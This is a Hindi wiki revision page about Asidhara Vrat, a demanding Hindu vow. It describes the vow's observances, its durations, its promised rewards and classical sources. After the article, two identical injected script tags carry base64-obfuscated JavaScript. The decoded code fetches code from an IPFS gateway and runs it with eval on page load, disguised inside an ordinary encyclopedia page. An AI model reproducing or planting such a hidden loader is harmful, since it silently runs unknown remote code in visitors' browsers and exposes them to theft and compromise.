असिधारा व्रत: Difference between revisions
[unchecked revision] | [unchecked revision] |
व्यवस्थापन (talk | contribs) m (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==") |
No edit summary |
||
(2 intermediate revisions by one other user not shown) | |||
Line 1: | Line 1: | ||
'''असिधाराव्रत''' तलवारों की धार पर चलने के समान अति सतर्कता के साथ की जाने वाली साधना को कहते हैं। मान्यता है कि इस व्रत में रिक्त भूमि पर सोना, घर के बाहर सोना, केवल रात्रि में खाना, पत्नी के आलिंगन में सोते हुए भी सम्भोग क्रिया से दूर रहना, क्रोध न करना, [[हरि]] के लिए जप एवं होम करना चाहिए। | |||
* | |||
*इसमें व्रतकर्ता को [[अश्विन]] [[शुक्ल पक्ष|शुक्ल]] [[पूर्णिमा]] से लेकर पाँच अथवा दस दिनों तक अथवा [[कार्तिक पूर्णिमा]] तक अथवा चार [[मास]] पर्यन्त अथवा एक [[वर्ष]] पर्यन्त अथवा बारह वर्ष तक बिछावन रहित भूमि पर शयन करना, गृह से बाहर [[स्नान]], केवल रात्रि में भोजन तथा पत्नी के रहते हुए भी ब्रह्मचर्य व्रत का पालन करना चाहिए। क्रोधमुक्त होकर जप में निमग्न तथा [[हरि]] के [[ध्यान]] में तल्लीन रहना चाहिए। भिन्न-भिन्न प्रकार की वस्तुओं को दान-पुण्य में दिया जाना चाहिए। यह क्रम दीर्घ काल तक चले।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=हिन्दू धर्मकोश|लेखक=डॉ. राजबली पाण्डेय|अनुवादक= |आलोचक= |प्रकाशक=उत्तर प्रदेश हिन्दी संस्थान |संकलन= |संपादन= |पृष्ठ संख्या=67|url=}}</ref> | |||
*बारह वर्ष पर्यन्त इस व्रत का आचरण करने वाला विश्वविजयी अथवा विश्वपूज्य हो सकता है<ref>विष्णुधर्मोत्तर पुराण,3.218,1.25</ref> | |||
*अवधियों के अनुसार विभिन्न फल प्राप्त होते | *इस व्रत में अवधियों के अनुसार विभिन्न फल प्राप्त होते हैं, जैस- 12 वर्षों के उपरान्त व्रत करने वाला अखिल विश्व का शासक हो सकता है और मरने के उपरान्त [[जनार्दन]] से मिल जाता है। यह असिधाराव्रत का सबसे बड़ा फल है।<ref>विष्णुधर्मोत्तर पुराण (3|218|1-25); हेमाद्रि (व्रत खण्ड 2, 825-827</ref> | ||
*'असिधारा' शब्द के अर्थानुसार इस व्रत का उतना ही कठिन तथा तीक्ष्ण होना है, जितना तलवार की धार पर चलना। [[कालिदास]] ने [[रघुवंश महाकाव्य|रघुवंश]]<ref>रघुवंश 77.13</ref> में [[राम]] के वनवास के समय [[भरत]] द्वारा समस्त राजकीय भोगों का परित्याग कर देने को इस उग्र व्रत का आचरण करना वतलाया है- | |||
* | |||
<blockquote><poem>'इयंति वर्षाणि तथा सहोग्रमभ्यस्यतीव व्रतमासिधारम् ।' | |||
युवा युवत्या सार्धं यन्मुग्धभर्तृवदाचरेत् । | |||
अंतर्विविक्तसंग: स्यादसिधाराव्रतं स्मृतम्।</poem></blockquote> | |||
"युवती स्त्री के साथ एकांत में किसी युवक का मन से भी असंग रहकर भोला आचरण करना अधिधाराव्रत कहा गया है।" -[[मल्लिनाथ]] | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
==अन्य संबंधित लिंक== | ==अन्य संबंधित लिंक== | ||
{{पर्व और त्योहार}} | {{पर्व और त्योहार}}{{व्रत और उत्सव}} | ||
{{व्रत और उत्सव}} | [[Category:व्रत और उत्सव]][[Category:पर्व_और_त्योहार]][[Category:संस्कृति कोश]] | ||
[[Category:व्रत और उत्सव]] | |||
[[Category:पर्व_और_त्योहार]] | |||
[[Category:संस्कृति कोश]] | |||
__INDEX__ | __INDEX__ |
Latest revision as of 13:07, 3 July 2016
असिधाराव्रत तलवारों की धार पर चलने के समान अति सतर्कता के साथ की जाने वाली साधना को कहते हैं। मान्यता है कि इस व्रत में रिक्त भूमि पर सोना, घर के बाहर सोना, केवल रात्रि में खाना, पत्नी के आलिंगन में सोते हुए भी सम्भोग क्रिया से दूर रहना, क्रोध न करना, हरि के लिए जप एवं होम करना चाहिए।
- इसमें व्रतकर्ता को अश्विन शुक्ल पूर्णिमा से लेकर पाँच अथवा दस दिनों तक अथवा कार्तिक पूर्णिमा तक अथवा चार मास पर्यन्त अथवा एक वर्ष पर्यन्त अथवा बारह वर्ष तक बिछावन रहित भूमि पर शयन करना, गृह से बाहर स्नान, केवल रात्रि में भोजन तथा पत्नी के रहते हुए भी ब्रह्मचर्य व्रत का पालन करना चाहिए। क्रोधमुक्त होकर जप में निमग्न तथा हरि के ध्यान में तल्लीन रहना चाहिए। भिन्न-भिन्न प्रकार की वस्तुओं को दान-पुण्य में दिया जाना चाहिए। यह क्रम दीर्घ काल तक चले।[1]
- बारह वर्ष पर्यन्त इस व्रत का आचरण करने वाला विश्वविजयी अथवा विश्वपूज्य हो सकता है[2]
- इस व्रत में अवधियों के अनुसार विभिन्न फल प्राप्त होते हैं, जैस- 12 वर्षों के उपरान्त व्रत करने वाला अखिल विश्व का शासक हो सकता है और मरने के उपरान्त जनार्दन से मिल जाता है। यह असिधाराव्रत का सबसे बड़ा फल है।[3]
- 'असिधारा' शब्द के अर्थानुसार इस व्रत का उतना ही कठिन तथा तीक्ष्ण होना है, जितना तलवार की धार पर चलना। कालिदास ने रघुवंश[4] में राम के वनवास के समय भरत द्वारा समस्त राजकीय भोगों का परित्याग कर देने को इस उग्र व्रत का आचरण करना वतलाया है-
'इयंति वर्षाणि तथा सहोग्रमभ्यस्यतीव व्रतमासिधारम् ।'
युवा युवत्या सार्धं यन्मुग्धभर्तृवदाचरेत् ।
अंतर्विविक्तसंग: स्यादसिधाराव्रतं स्मृतम्।
"युवती स्त्री के साथ एकांत में किसी युवक का मन से भी असंग रहकर भोला आचरण करना अधिधाराव्रत कहा गया है।" -मल्लिनाथ
टीका टिप्पणी और संदर्भ
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>